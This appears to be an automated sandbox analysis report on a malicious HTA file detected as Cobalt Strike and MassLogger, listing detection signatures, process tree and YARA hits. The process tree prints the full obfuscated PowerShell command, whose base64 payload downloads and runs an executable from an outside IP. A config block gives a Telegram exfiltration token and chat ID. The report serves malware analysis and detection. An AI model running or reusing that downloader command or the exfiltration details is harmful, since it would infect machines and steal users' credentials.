Windows
Analysis Report
shegivenmekissinglips.hta
Overview
General Information
Detection
Cobalt Strike, MSIL Logger, MassLogger RAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected Powershell decode and execute
Yara detected Telegram RAT
.NET source code references suspicious native API functions
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 6680 cmdline:
mshta.exe "C:\Users\ user\Deskt op\shegive nmekissing lips.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 1232 cmdline:
"C:\Window s\system32 \cmd.exe" "/c pOWErs HelL.Exe -Ex bypAS s -N OP - w 1 -c DEVIC eCReDeNTiA LdePloYmen T.eXE ; IeX($(iex( '[sYSteM.t Ext.eNcoDi NG]'+[CHAR ]58+[cHAr] 0x3A+'UTf8 .geTsTRiNg ([SYstem.c OnVeRt]'+[ CHAR]0X3A+ [cHaR]58+' fromBASe64 sTrInG('+[ CHar]0x22+ 'JGIySTFwO XZidlcxICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gPSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEFkR C1UWXBFICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLW1FTUJlU mRlZklOaXR JT24gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAnW 0RsbEltcG9 ydCgidVJMb U9OIiwgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB DaGFyU2V0I D0gQ2hhclN ldC5Vbmljb 2RlKV1wdWJ saWMgc3Rhd GljIGV4dGV ybiBJbnRQd HIgVVJMRG9 3bmxvYWRUb 0ZpbGUoSW5 0UHRyICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgQ VhVQkhZLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI HYsc3RyaW5 nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgRU5ae mdQLHVpbnQ gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBDcnNxL EludFB0ciA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGpLS3dOa lVuc3gpOyc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtbkFtZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICJETFE iICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLU5Bb UVTUEFjRSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGJDYUxKa yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1QYXN zVGhydTsgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAkYjJJMXA 5dmJ2VzE6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xM DQuMTY4Ljc uMTgvMzQ2L 2hrY21kLmV 4ZSIsIiRlT lY6QVBQREF UQVxoa2NtZ C5leGUiLDA sMCk7U1RBU nQtc2xlZVA oMyk7aW52T 0tFLWl0ZW0 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiJGVOd jpBUFBEQVR BXGhrY21kL mV4ZSI='+[ cHar]0X22+ '))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 3192 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 516 cmdline:
pOWErsHelL .Exe -Ex bypASs -NOP -w 1 -c DEVICeCRe DeNTiALdeP loYmenT.eX E ; IeX( $(iex('[sY SteM.tExt. eNcoDiNG]' +[CHAR]58+ [cHAr]0x3A +'UTf8.geT sTRiNg([SY stem.cOnVe Rt]'+[CHAR ]0X3A+[cHa R]58+'from BASe64sTrI nG('+[CHar ]0x22+'JGI ySTFwOXZid lcxICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgPSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIEFkRC1UW XBFICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW1 FTUJlUmRlZ klOaXRJT24 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAnW0Rsb EltcG9ydCg idVJMbU9OI iwgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBDaGF yU2V0ID0gQ 2hhclNldC5 Vbmljb2RlK V1wdWJsaWM gc3RhdGljI GV4dGVybiB JbnRQdHIgV VJMRG93bmx vYWRUb0Zpb GUoSW50UHR yICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQVhVQ khZLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIHYsc 3RyaW5nICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gRU5aemdQL HVpbnQgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB DcnNxLElud FB0ciAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGp LS3dOalVuc 3gpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tbkFtZSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CJETFEiICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU5BbUVTU EFjRSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGJ DYUxKayAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1QYXNzVGh ydTsgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAkY jJJMXA5dmJ 2VzE6OlVST ERvd25sb2F kVG9GaWxlK DAsImh0dHA 6Ly8xMDQuM TY4LjcuMTg vMzQ2L2hrY 21kLmV4ZSI sIiRlTlY6Q VBQREFUQVx oa2NtZC5le GUiLDAsMCk 7U1RBUnQtc 2xlZVAoMyk 7aW52T0tFL Wl0ZW0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iJGVOdjpBU FBEQVRBXGh rY21kLmV4Z SI='+[cHar ]0X22+'))' )))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 6512 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\sgkiriu3 \sgkiriu3. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 6488 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S6A77.tmp" "c:\Users \user\AppD ata\Local\ Temp\sgkir iu3\CSC38C 97BC6FA854 DE2B4DB5AD B17FE40F2. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) hkcmd.exe (PID: 7560 cmdline:
"C:\Users\ user\AppDa ta\Roaming \hkcmd.exe " MD5: A9A05D451C24858918183C1E7271A306) RegSvcs.exe (PID: 7604 cmdline:
"C:\Users\ user\AppDa ta\Roaming \hkcmd.exe " MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
{"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |